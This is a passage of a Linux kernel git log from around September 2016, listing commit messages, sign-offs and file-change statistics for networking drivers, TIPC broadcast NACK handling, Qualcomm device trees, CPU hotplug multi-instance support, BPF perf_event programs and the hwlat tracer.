Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../ethernet/cavium/liquidio/cn23xx_pf_device.c | 66 ++++++++++++++++++++++ 1 file changed, 66 insertions(+) commit afdf841fee732bd89d53530dd06ea8b4748ed8be Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:05 2016 -0700 liquidio: RX control commands Adds support for RX control commands on cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 100 ++++++++++++++++++--- .../net/ethernet/cavium/liquidio/octeon_device.h | 1 + drivers/net/ethernet/cavium/liquidio/octeon_main.h | 8 +- 3 files changed, 96 insertions(+), 13 deletions(-) commit 7b6b6c9556f9bbad4efd85ca6448ab89993294cf Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:04 2016 -0700 liquidio: link and control commands This patch adds work queue support for link status and control commands. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_core.c | 5 +- drivers/net/ethernet/cavium/liquidio/lio_main.c | 75 ++++++++++++++++++++-- .../net/ethernet/cavium/liquidio/octeon_network.h | 4 ++ 3 files changed, 76 insertions(+), 8 deletions(-) commit 0cc1f315287bdcc5e772cde1965c316959f57d67 Merge: 2c896fb e0a05eb Author: David S. Miller Date: Fri Sep 2 17:10:25 2016 -0700 Merge branch 'tipc-scalable-broadcast-NACK' Jon Maloy says: ==================== tipc: improve broadcast NACK mechanism The broadcast protocol has turned out to not scale well beyond 70-80 nodes, while it is now possible to build TIPC clusters of at least ten times that size. This commit series improves the NACK/retransmission mechanism of the broadcast protocol to make is at scalable as the rest of TIPC. ==================== Signed-off-by: David S. Miller commit e0a05ebe26c07c4f649a7f5c251a3d4d8bf0402d Author: Jon Paul Maloy Date: Thu Sep 1 13:52:51 2016 -0400 tipc: send broadcast nack directly upon sequence gap detection Because of the risk of an excessive number of NACK messages and retransissions, receivers have until now abstained from sending broadcast NACKS directly upon detection of a packet sequence number gap. We have instead relied on such gaps being detected by link protocol STATE message exchange, something that by necessity delays such detection and subsequent retransmissions. With the introduction of unicast NACK transmission and rate control of retransmissions we can now remove this limitation. We now allow receiving nodes to send NACKS immediately, while coordinating the permission to do so among the nodes in order to avoid NACK storms. Reviewed-by: Ying Xue Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/link.c | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) commit 7c4a54b963b68eee5ef3bd7ca740630d965616e2 Author: Jon Paul Maloy Date: Thu Sep 1 13:52:50 2016 -0400 tipc: rate limit broadcast retransmissions As cluster sizes grow, so does the amount of identical or overlapping broadcast NACKs generated by the packet receivers. This often leads to 'NACK crunches' resulting in huge numbers of redundant retransmissions of the same packet ranges. In this commit, we introduce rate control of broadcast retransmissions, so that a retransmitted range cannot be retransmitted again until after at least 10 ms. This reduces the frequency of duplicate, redundant retransmissions by an order of magnitude, while having a significant positive impact on overall throughput and scalability. Reviewed-by: Ying Xue Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/link.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 47 insertions(+), 5 deletions(-) commit 02d11ca20091fcef904f05defda80c53e5b4e793 Author: Jon Paul Maloy Date: Thu Sep 1 13:52:49 2016 -0400 tipc: transfer broadcast nacks in link state messages When we send broadcasts in clusters of more 70-80 nodes, we sometimes see the broadcast link resetting because of an excessive number of retransmissions. This is caused by a combination of two factors: 1) A 'NACK crunch", where loss of broadcast packets is discovered and NACK'ed by several nodes simultaneously, leading to multiple redundant broadcast retransmissions. 2) The fact that the NACKS as such also are sent as broadcast, leading to excessive load and packet loss on the transmitting switch/bridge. This commit deals with the latter problem, by moving sending of broadcast nacks from the dedicated BCAST_PROTOCOL/NACK message type to regular unicast LINK_PROTOCOL/STATE messages. We allocate 10 unused bits in word 8 of the said message for this purpose, and introduce a new capability bit, TIPC_BCAST_STATE_NACK in order to keep the change backwards compatible. Reviewed-by: Ying Xue Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/bcast.c | 8 ++++--- net/tipc/bcast.h | 4 ++-- net/tipc/link.c | 64 ++++++++++++++++++++++++++++++++++++++++++++------------ net/tipc/link.h | 6 +++--- net/tipc/msg.h | 10 +++++++++ net/tipc/node.c | 32 ++++++++++++++++++++++++++-- net/tipc/node.h | 11 ++++++---- 7 files changed, 108 insertions(+), 27 deletions(-) commit 2c896fb02e7f65299646f295a007bda043e0f382 Author: David Wu Date: Fri Sep 2 01:50:01 2016 +0800 net: stmmac: dwmac-rk: add pd_gmac support for rk3399 Add the gmac power domain support for rk3399, in order to save more power consumption. Signed-off-by: David Wu Signed-off-by: Caesar Wang Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-rk.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 45383f528fcf417539892440dd0eb9fb96990ef7 Author: Roger Chen Date: Fri Sep 2 01:50:00 2016 +0800 net: stmmac: dwmac-rk: fixes the gmac resume after PD on/off GMAC Power Domain(PD) will be disabled during suspend. That will causes GRF registers reset. So corresponding GRF registers for GMAC must be setup again. Signed-off-by: Roger Chen Signed-off-by: Caesar Wang Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-rk.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit ba289af8020a6e81eac424e1d4ef3fcc8ff1b23d Author: Roger Chen Date: Fri Sep 2 01:49:59 2016 +0800 net: stmmac: dwmac-rk: add rk3366 & rk3399 specific data Add constants and callback functions for the dwmac on rk3228/rk3229 socs. As can be seen, the base structure is the same, only registers and the bits in them moved slightly. Signed-off-by: Roger Chen Signed-off-by: Caesar Wang Reviewed-by: Heiko Stuebner Signed-off-by: David S. Miller .../devicetree/bindings/net/rockchip-dwmac.txt | 8 +- drivers/net/ethernet/stmicro/stmmac/dwmac-rk.c | 226 +++++++++++++++++++++ 2 files changed, 232 insertions(+), 2 deletions(-) commit 19a2a85d7157373b3540e9a0baff97d7cdca0dd5 Author: Neil Armstrong Date: Mon Aug 22 14:49:37 2016 +0200 clk: meson-gxbb: Export PWM related clocks for DT Add the PWM related clocks in order to be referenced as PWM source clocks. Signed-off-by: Neil Armstrong Signed-off-by: Michael Turquette Link: lkml.kernel.org/r/1471870177-10609-1-git-send-email-narmstrong@baylibre.com drivers/clk/meson/gxbb.h | 6 +++--- include/dt-bindings/clock/gxbb-clkc.h | 3 +++ 2 files changed, 6 insertions(+), 3 deletions(-) commit 9064a1c77dd3a5c7288b0254a336d6f4073cd996 Merge: 7d3ef43 23540d6 Author: Arnd Bergmann Date: Sat Sep 3 00:52:11 2016 +0200 Merge commit 'http://github.com/rogerq/linux gpmc-omap-v4.8-rc1' into next/drivers This is also going to be part of v4.8 and sent as a bugfix, merging it here to avoid a small conflict against the other gpmc changes. Signed-off-by: Arnd Bergmann commit 00b5407e427ac2588a2496b92035a94602b3cd1b Author: David Howells Date: Fri Sep 2 22:39:44 2016 +0100 rxrpc: Fix uninitialised variable warning Fix the following uninitialised variable warning: ../net/rxrpc/call_event.c: In function 'rxrpc_process_call': ../net/rxrpc/call_event.c:879:58: warning: 'error' may be used uninitialized in this function [-Wmaybe-uninitialized] _debug("post net error %d", error); ^ Signed-off-by: David Howells net/rxrpc/call_event.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 30787a417086df301c7eb2f4ae14f2acab70e4b2 Author: Arnd Bergmann Date: Fri Sep 2 22:39:44 2016 +0100 rxrpc: fix undefined behavior in rxrpc_mark_call_released gcc -Wmaybe-initialized correctly points out a newly introduced bug through which we can end up calling rxrpc_queue_call() for a dead connection: net/rxrpc/call_object.c: In function 'rxrpc_mark_call_released': net/rxrpc/call_object.c:600:5: error: 'sched' may be used uninitialized in this function [-Werror=maybe-uninitialized] This sets the 'sched' variable to zero to restore the previous behavior. Signed-off-by: Arnd Bergmann Fixes: f5c17aaeb2ae ("rxrpc: Calls should only have one terminal state") Signed-off-by: David Howells net/rxrpc/call_object.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 73bae19c3a3fde589b4508f3bfcc68d2f4b06f39 Author: Bhushan Shah Date: Fri Jul 29 11:39:07 2016 +0530 ARM: dts: msm8974: Move vreg_boost node from the honami to msm8974 vreg_boost is Qualcomm platform specific and is also used in hammerhead device. Cc: Andy Gross Cc: Bjorn Andersson Cc: David Brown Cc: Rob Herring Cc: Mark Rutland Cc: Russell King Cc: linux-arm-msm@vger.kernel.org Cc: linux-soc@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: Bhushan Shah Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross .../boot/dts/qcom-msm8974-sony-xperia-honami.dts | 22 ---------------------- arch/arm/boot/dts/qcom-msm8974.dtsi | 17 +++++++++++++++++ arch/arm/boot/dts/qcom-pm8941.dtsi | 5 +++++ 3 files changed, 22 insertions(+), 22 deletions(-) commit 0485ef8e045e2f295098bfa0f12e1b2cc243431c Author: Bhushan Shah Date: Fri Jul 29 11:39:08 2016 +0530 ARM: dts: qcom: msm8974: Add fixed regulator node for vph-pwr-reg Cc: Andy Gross Cc: Bjorn Andersson Cc: David Brown Cc: Rob Herring Cc: Mark Rutland Cc: Russell King Cc: linux-arm-msm@vger.kernel.org Cc: linux-soc@vger.kernel.org Cc: devicetree@vger.kernel.org Signed-off-by: Bhushan Shah Reviewed-by: Bjorn Andersson Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-msm8974.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 20fac0ce3c17093435a48773a419da3a0b588f5a Author: Linus Walleij Date: Fri Aug 19 10:46:47 2016 +0200 ARM: dts: add PM8058 LEDs to the APQ8060 Dragonboard This adds the PM8058 LEDs as used in the platform. Cc: linux-arm-msm@vger.kernel.org Cc: linux-leds@vger.kernel.org Cc: Andy Gross Cc: Stephen Boyd Cc: Jacek Anaszewski Reviewed-by: Bjorn Andersson Signed-off-by: Linus Walleij Acked-by: Jacek Anaszewski Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-apq8060-dragonboard.dts | 39 ++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit 226366b95a95f85226c6ce77813e2afb940dca41 Author: Rajendra Nayak Date: Wed Aug 17 10:48:46 2016 +0530 arm: dts: apq8084: Add thermal zones, tsens and qfprom nodes Add thermal zones, tsens and qfprom nodes Acked-by: Eduardo Valentin Acked-by: Rob Herring Signed-off-by: Rajendra Nayak Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-apq8084.dtsi | 103 ++++++++++++++++++++++++++++++++++++ 1 file changed, 103 insertions(+) commit c8c876898b2ba09d06151d027485107bb470878f Author: Rajendra Nayak Date: Wed Aug 17 10:48:45 2016 +0530 arm: dts: apq8064: Add thermal zones, tsens and qfprom nodes TSENS is part of GCC, hence add TSENS properties as part of GCC node. Also add thermal zones and qfprom nodes. Update GCC bindings doc to mention the possibility of optional TSENS properties that can be part of GCC node. Acked-by: Eduardo Valentin Acked-by: Rob Herring Signed-off-by: Rajendra Nayak Signed-off-by: Andy Gross .../devicetree/bindings/clock/qcom,gcc.txt | 16 ++++ arch/arm/boot/dts/qcom-apq8064.dtsi | 103 +++++++++++++++++++++ 2 files changed, 119 insertions(+) commit c59ffb519357537f632eeea8bd35372cfab10474 Author: Rajendra Nayak Date: Wed Aug 17 10:48:44 2016 +0530 arm: dts: msm8974: Add thermal zones, tsens and qfprom nodes Add thermal zones, tsens and qfprom nodes Acked-by: Eduardo Valentin Acked-by: Rob Herring Signed-off-by: Rajendra Nayak Signed-off-by: Andy Gross arch/arm/boot/dts/qcom-msm8974.dtsi | 103 ++++++++++++++++++++++++++++++++++++ 1 file changed, 103 insertions(+) commit e286492e4d3f1f1d561850ed8829233d679873e0 Author: Bjorn Andersson Date: Tue Aug 16 10:46:30 2016 -0700 ARM: dts: msm8974: honami: Add touchscreen Add the i2c2 and rmi4 nodes to enable the Synaptics touchscreen found in the Honami. Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross .../boot/dts/qcom-msm8974-sony-xperia-honami.dts | 59 ++++++++++++++++++++++ 1 file changed, 59 insertions(+) commit 23c282d62f573263db679e6b4c9f2da82aa24f96 Author: Neil Armstrong Date: Thu Aug 11 15:16:44 2016 +0200 rtc: rtc-pm8xxx: Add support for pm8018 rtc In order to support RTC on Qualcomm MDM9615 SoC, add support for the pm8018 rtc in rtc-pm8xxx driver. Reviewed-by: Bjorn Andersson Acked-by: Alexandre Belloni Signed-off-by: Neil Armstrong Signed-off-by: Andy Gross Documentation/devicetree/bindings/mfd/qcom-pm8xxx.txt | 1 + drivers/rtc/rtc-pm8xxx.c | 1 + 2 files changed, 2 insertions(+) commit 01b41159066531cc8d664362ff0cd89dd137bbfa Author: Lianwei Wang Date: Thu Jun 9 23:43:28 2016 -0700 cpu/hotplug: Handle unbalanced hotplug enable/disable When cpu_hotplug_enable() is called unbalanced w/o a preceeding cpu_hotplug_disable() the code emits a warning, but happily decrements the disabled counter. This causes the next operations to malfunction. Prevent the decrement and just emit a warning. Signed-off-by: Lianwei Wang Cc: peterz@infradead.org Cc: linux-pm@vger.kernel.org Cc: oleg@redhat.com Link: http://lkml.kernel.org/r/1465541008-12476-1-git-send-email-lianwei.wang@gmail.com Signed-off-by: Thomas Gleixner kernel/cpu.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit f88eecfe2f22b2790e7527c0aaec14ea175919de Author: Sebastian Frias Date: Tue Aug 16 16:05:08 2016 +0200 genirq/generic_chip: Verify irqs_per_chip <= 32 Most (if not all) code here implicitly assumes that the maximum number of IRQs per chip will be 32, and thus uses 'u32' or 'unsigned long' for many tasks (for example "struct irq_data" declares its 'mask' field as 'u32', and "struct irq_chip_generic" declares its 'installed' field as 'unsigned long') However, there is no check to verify that irqs_per_chip is <= 32. Hence, calling irq_alloc_domain_generic_chips() with a bigger value will result in unexpected results. Provide a wrapper with a MAYBE_BUILD_BUG_ON(nrirqs >= 32) to catch such cases. [ tglx: Reduced changelog to the essential information ] Signed-off-by: Sebastian Frias Cc: Marc Zyngier Cc: Mason Cc: Jason Cooper Link: http://lkml.kernel.org/r/57B31D94.5040701@laposte.net Signed-off-by: Thomas Gleixner include/linux/irq.h | 18 +++++++++++++----- kernel/irq/generic-chip.c | 16 ++++++++-------- 2 files changed, 21 insertions(+), 13 deletions(-) commit 699bed758b1313f97a5ac78848090e8357d12ab1 Author: Kevin Barnett Date: Wed Aug 31 14:55:36 2016 -0500 scsi: smartpqi: bump driver version [mkp: fixed typo] Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 425b490b2aa745740ea3618e1cdcc2bc37c0d996 Author: Don Brace Date: Wed Aug 31 14:55:30 2016 -0500 scsi: smartpqi: add smartpqi.txt added Documentation/scsi/smartpqi.txt [mkp: applied by hand] Reviewed-by: Kevin Barnett Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Signed-off-by: Don Brace Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen Documentation/scsi/smartpqi.txt | 80 +++++++++++++++++++++++++++++++++++++++++ MAINTAINERS | 1 + 2 files changed, 81 insertions(+) commit 8017c279196ab29174bafc104ac4ebbd42c7ca7f Author: Sebastian Andrzej Siewior Date: Fri Aug 12 19:49:43 2016 +0200 net/virtio-net: Convert to hotplug state machine Install the callbacks via the state machine. The driver supports multiple instances and therefore the new cpuhp_state_add_instance_nocalls() infrastrucure is used. The driver currently uses get_online_cpus() to avoid missing a CPU hotplug event while invoking virtnet_set_affinity(). This could be avoided by using cpuhp_state_add_instance() variant which holds the hotplug lock and invokes callback during registration. This is more or less a 1:1 conversion of the current code. Signed-off-by: Sebastian Andrzej Siewior Cc: Mark Rutland Cc: "Michael S. Tsirkin" Cc: Peter Zijlstra Cc: netdev@vger.kernel.org Cc: Will Deacon Cc: virtualization@lists.linux-foundation.org Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/1471024183-12666-7-git-send-email-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/net/virtio_net.c | 110 +++++++++++++++++++++++++++++++++++---------- include/linux/cpuhotplug.h | 1 + 2 files changed, 87 insertions(+), 24 deletions(-) commit 8df038725ad5351a9730759e0a24a5c5d96be661 Author: Sebastian Andrzej Siewior Date: Fri Aug 12 19:49:42 2016 +0200 bus/arm-ccn: Use cpu-hp's multi instance support instead custom list Signed-off-by: Sebastian Andrzej Siewior Cc: Mark Rutland Cc: Pawel Moll Cc: Arnd Bergmann Cc: Suzuki K Poulose Cc: Peter Zijlstra Cc: Will Deacon Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/1471024183-12666-6-git-send-email-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/bus/arm-ccn.c | 54 ++++++++++++++++++++------------------------------- 1 file changed, 21 insertions(+), 33 deletions(-) commit b230f0db913136f465a951806f2978b179df95d5 Author: Sebastian Andrzej Siewior Date: Fri Aug 12 19:49:41 2016 +0200 bus/arm-cci: Use cpu-hp's multi instance support instead custom list Signed-off-by: Sebastian Andrzej Siewior Cc: Mark Rutland Cc: Suzuki K Poulose Cc: Peter Zijlstra Cc: Will Deacon Cc: rt@linutronix.de Cc: Olof Johansson Link: http://lkml.kernel.org/r/1471024183-12666-5-git-send-email-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/bus/arm-cci.c | 45 ++++++++++++++++++--------------------------- 1 file changed, 18 insertions(+), 27 deletions(-) commit 6e103c0cfeb9ab8d40822a015da9769595096411 Author: Sebastian Andrzej Siewior Date: Wed Aug 17 19:14:20 2016 +0200 arm/perf: Use multi instance instead of custom list Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Mark Rutland Cc: Will Deacon Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160817171420.sdwk2qivxunzryz4@linutronix.de Signed-off-by: Thomas Gleixner drivers/perf/arm_pmu.c | 44 ++++++++++++++++++-------------------------- include/linux/perf/arm_pmu.h | 2 +- 2 files changed, 19 insertions(+), 27 deletions(-) commit cf392d10b69e6e6c57ceea48b347a2ab1a4b75b2 Author: Thomas Gleixner Date: Fri Aug 12 19:49:39 2016 +0200 cpu/hotplug: Add multi instance support This patch adds the ability for a given state to have multiple instances. Until now all states have a single instance and the startup / teardown callback use global variables. A few drivers need to perform a the same callbacks on multiple "instances". Currently we have three drivers in tree which all have a global list which they iterate over. With multi instance they support don't need their private list and the functionality has been moved into core code. Plus we hold the hotplug lock in core so no cpus comes/goes while instances are registered and we do rollback in error case :) Signed-off-by: Thomas Gleixner Signed-off-by: Sebastian Andrzej Siewior Cc: Mark Rutland Cc: Peter Zijlstra Cc: Will Deacon Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/1471024183-12666-3-git-send-email-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 110 +++++++++++++++++++++- include/trace/events/cpuhp.h | 28 ++++++ kernel/cpu.c | 218 ++++++++++++++++++++++++++++++++++++------- 3 files changed, 318 insertions(+), 38 deletions(-) commit a724632ca0c84b494875e9367e07e29472c139ba Author: Thomas Gleixner Date: Fri Aug 12 19:49:38 2016 +0200 cpu/hotplug: Rework callback invocation logic This is preparation for the following patch. This rework here changes the arguments of cpuhp_invoke_callback(). It passes now `state' and whether `startup' or `teardown' callback should be invoked. The callback then is looked up by the function. The following is a clanup of callers: - cpuhp_issue_call() has one argument less - struct cpuhp_cpu_state (which is used by the hotplug thread) gets also its callback removed. The decision if it is a single callback invocation moved to the `single' variable. Also a `bringup' variable has been added to distinguish between startup and teardown callback. - take_cpu_down() needs to start one step earlier. We always get here via CPUHP_TEARDOWN_CPU callback. Before that change cpuhp_ap_states + CPUHP_TEARDOWN_CPU pointed to an empty entry because TEARDOWN is saved in bp_states for this reason. Now that we use cpuhp_get_step() to lookup the state we must explicitly skip it in order not to invoke it twice. Signed-off-by: Thomas Gleixner Signed-off-by: Sebastian Andrzej Siewior Cc: Mark Rutland Cc: Peter Zijlstra Cc: Will Deacon Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/1471024183-12666-2-git-send-email-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner kernel/cpu.c | 162 +++++++++++++++++++++++++++++------------------------------ 1 file changed, 80 insertions(+), 82 deletions(-) commit dd19bde36739702bbd9a832b5d4995bc0fa8d6d7 Author: Rosen, Rami Date: Fri Sep 2 14:11:57 2016 +0300 switchdev: Fix return value of switchdev_port_fdb_dump(). This patch fixes the retun value of switchdev_port_fdb_dump() when CONFIG_NET_SWITCHDEV is not set. This avoids getting "warning: return makes integer from pointer without a cast [-Wint-conversion]" when building when CONFIG_NET_SWITCHDEV is not set under several compiler versions. This warning is due to commit d297653dd6f07afbe7e6c702a4bcd7615680002e ("rtnetlink: fdb dump: optimize by saving last interface markers"). Signed-off-by: Rami Rosen Acked-by: Roopa Prabhu Reported-by: Eric Dumazet Signed-off-by: David S. Miller include/net/switchdev.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4df20483ab287b24a7ffe38e53d473880de3dd98 Merge: 569e937e 7287441 Author: David S. Miller Date: Fri Sep 2 10:46:45 2016 -0700 Merge branch 'bpf-perf-hw-sw-events' Alexei Starovoitov says: ==================== perf, bpf: add support for bpf in sw/hw perf_events this patch set is a follow up to the discussion: https://lkml.kernel.org/r/20160804142853.GO6862%20()%20twins%20!%20programming%20!%20kicks-ass%20!%20net It turned out to be simpler than what we discussed. Patches 1-3 is bpf-side prep for the main patch 4 that adds bpf program as an overflow_handler to sw and hw perf_events. Patches 5 and 6 are examples from myself and Brendan. Peter, to implement your suggestion to add ifdef CONFIG_BPF_SYSCALL inside struct perf_event, I had to shuffle ifdefs in events/core.c Please double check whether that is what you wanted to see. v2->v3: fixed few more minor issues v1->v2: fixed issues spotted by Peter and Daniel. ==================== Acked-by: Peter Zijlstra (Intel) Signed-off-by: David S. Miller commit 72874418e4b9e2673c26a810b0ae9f418b573ee3 Author: Brendan Gregg Date: Thu Sep 1 18:37:26 2016 -0700 samples/bpf: add sampleip example sample instruction pointer and frequency count in a BPF map Signed-off-by: Brendan Gregg Signed-off-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/Makefile | 4 + samples/bpf/sampleip_kern.c | 38 +++++++++ samples/bpf/sampleip_user.c | 196 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 238 insertions(+) commit 1c47910ef80135ac89e4d0b471d123572cee5535 Author: Alexei Starovoitov Date: Thu Sep 1 18:37:25 2016 -0700 samples/bpf: add perf_event+bpf example The bpf program is called 50 times a second and does hashmap[kern&user_stackid]++ It's primary purpose to check that key bpf helpers like map lookup, update, get_stackid, trace_printk and ctx access are all working. It checks: - PERF_COUNT_HW_CPU_CYCLES on all cpus - PERF_COUNT_HW_CPU_CYCLES for current process and inherited perf_events to children - PERF_COUNT_SW_CPU_CLOCK on all cpus - PERF_COUNT_SW_CPU_CLOCK for current process Signed-off-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/Makefile | 4 + samples/bpf/bpf_helpers.h | 2 + samples/bpf/bpf_load.c | 7 +- samples/bpf/trace_event_kern.c | 65 +++++++++++++ samples/bpf/trace_event_user.c | 213 +++++++++++++++++++++++++++++++++++++++++ 5 files changed, 290 insertions(+), 1 deletion(-) commit aa6a5f3cb2b2edc5b9aab0b4fdfdfa9c3b5096a8 Author: Alexei Starovoitov Date: Thu Sep 1 18:37:24 2016 -0700 perf, bpf: add perf events core support for BPF_PROG_TYPE_PERF_EVENT programs Allow attaching BPF_PROG_TYPE_PERF_EVENT programs to sw and hw perf events via overflow_handler mechanism. When program is attached the overflow_handlers become stacked. The program acts as a filter. Returning zero from the program means that the normal perf_event_output handler will not be called and sampling event won't be stored in the ring buffer. The overflow_handler_context==NULL is an additional safety check to make sure programs are not attached to hw breakpoints and watchdog in case other checks (that prevent that now anyway) get accidentally relaxed in the future. The program refcnt is incremented in case perf_events are inhereted when target task is forked. Similar to kprobe and tracepoint programs there is no ioctl to detach the program or swap already attached program. The user space expected to close(perf_event_fd) like it does right now for kprobe+bpf. That restriction simplifies the code quite a bit. The invocation of overflow_handler in __perf_event_overflow() is now done via READ_ONCE, since that pointer can be replaced when the program is attached while perf_event itself could have been active already. There is no need to do similar treatment for event->prog, since it's assigned only once before it's accessed. Signed-off-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/bpf.h | 4 +++ include/linux/perf_event.h | 4 +++ kernel/events/core.c | 89 +++++++++++++++++++++++++++++++++++++++++++++- 3 files changed, 96 insertions(+), 1 deletion(-) commit fdc15d388d600d5a1599e14c700af105a5b60761 Author: Alexei Starovoitov Date: Thu Sep 1 18:37:23 2016 -0700 bpf: perf_event progs should only use preallocated maps Make sure that BPF_PROG_TYPE_PERF_EVENT programs only use preallocated hash maps, since doing memory allocation in overflow_handler can crash depending on where nmi got triggered. Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/bpf/verifier.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) commit 0515e5999a466dfe6e1924f460da599bb6821487 Author: Alexei Starovoitov Date: Thu Sep 1 18:37:22 2016 -0700 bpf: introduce BPF_PROG_TYPE_PERF_EVENT program type Introduce BPF_PROG_TYPE_PERF_EVENT programs that can be attached to HW and SW perf events (PERF_TYPE_HARDWARE and PERF_TYPE_SOFTWARE correspondingly in uapi/linux/perf_event.h) The program visible context meta structure is struct bpf_perf_event_data { struct pt_regs regs; __u64 sample_period; }; which is accessible directly from the program: int bpf_prog(struct bpf_perf_event_data *ctx) { ... ctx->sample_period ... ... ctx->regs.ip ... } The bpf verifier rewrites the accesses into kernel internal struct bpf_perf_event_data_kern which allows changing struct perf_sample_data without affecting bpf programs. New fields can be added to the end of struct bpf_perf_event_data in the future. Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/linux/perf_event.h | 5 +++ include/uapi/linux/Kbuild | 1 + include/uapi/linux/bpf.h | 1 + include/uapi/linux/bpf_perf_event.h | 18 +++++++++++ kernel/trace/bpf_trace.c | 61 +++++++++++++++++++++++++++++++++++++ 5 files changed, 86 insertions(+) commit ea2e7ce5d0fc878463ba39deb46cf2ab20398fd2 Author: Alexei Starovoitov Date: Thu Sep 1 18:37:21 2016 -0700 bpf: support 8-byte metafield access The verifier supported only 4-byte metafields in struct __sk_buff and struct xdp_md. The metafields in upcoming struct bpf_perf_event are 8-byte to match register width in struct pt_regs. Teach verifier to recognize 8-byte metafield access. The patch doesn't affect safety of sockets and xdp programs. They check for 4-byte only ctx access before these conditions are hit. Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/bpf/verifier.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 7b2c86250122de316cbab8754050622ead04af39 Author: Steven Rostedt (Red Hat) Date: Thu Aug 4 12:49:53 2016 -0400 tracing: Add NMI tracing in hwlat detector As NMIs can also cause latency when interrupts are disabled, the hwlat detectory has no way to know if the latency it detects is from an NMI or an SMI or some other hardware glitch. As ftrace_nmi_enter/exit() funtions are no longer used (except for sh, which isn't supported anymore), I converted those to "arch_ftrace_nmi_enter/exit" and use ftrace_nmi_enter/exit() to check if hwlat detector is tracing or not, and if so, it calls into the hwlat utility. Since the hwlat detector only has a single kthread that is spinning with interrupts disabled, it marks what CPU it is on, and if the NMI callback happens on that CPU, it records the time spent in that NMI. This is added to the output that is generated by the hwlat detector as: #3 inner/outer(us): 9/9 ts:1470836488.206734548 #4 inner/outer(us): 0/8 ts:1470836497.140808588 #5 inner/outer(us): 0/6 ts:1470836499.140825168 nmi-total:5 nmi-count:1 #6 inner/outer(us): 9/9 ts:1470836501.140841748 All time is still tracked in microseconds. The NMI information is only shown when an NMI occurred during the sample. Signed-off-by: Steven Rostedt arch/sh/kernel/ftrace.c | 4 ++-- include/linux/ftrace_irq.h | 31 +++++++++++++++++++++++---- kernel/trace/trace_entries.h | 8 +++++-- kernel/trace/trace_hwlat.c | 51 ++++++++++++++++++++++++++++++++++++++++++++ kernel/trace/trace_output.c | 16 +++++++++++++- 5 files changed, 101 insertions(+), 9 deletions(-) commit 0330f7aa8ee63d0c435c0cb4e47ea06235ee4b7f Author: Steven Rostedt (Red Hat) Date: Fri Jul 15 15:48:56 2016 -0400 tracing: Have hwlat trace migrate across tracing_cpumask CPUs Instead of having the hwlat detector thread stay on one CPU, have it migrate across all the CPUs specified by tracing_cpumask. If the user modifies the thread's CPU affinity, the migration will stop until the next instance that the tracer is instantiated. The migration happens at the end of each window (period). Signed-off-by: Steven Rostedt Documentation/trace/hwlat_detector.txt | 6 ++++ kernel/trace/trace_hwlat.c | 55 ++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+) commit c850ed38db5f46441565174ef57c271124cce568 Author: Jon Masters Date: Fri Apr 10 14:57:46 2015 -0400 tracing: Add documentation for hwlat_detector tracer Added the documentation on how to use th hwlat_detector. Signed-off-by: Jon Masters [ Various updates and modified to show hwlat as a tracer ] 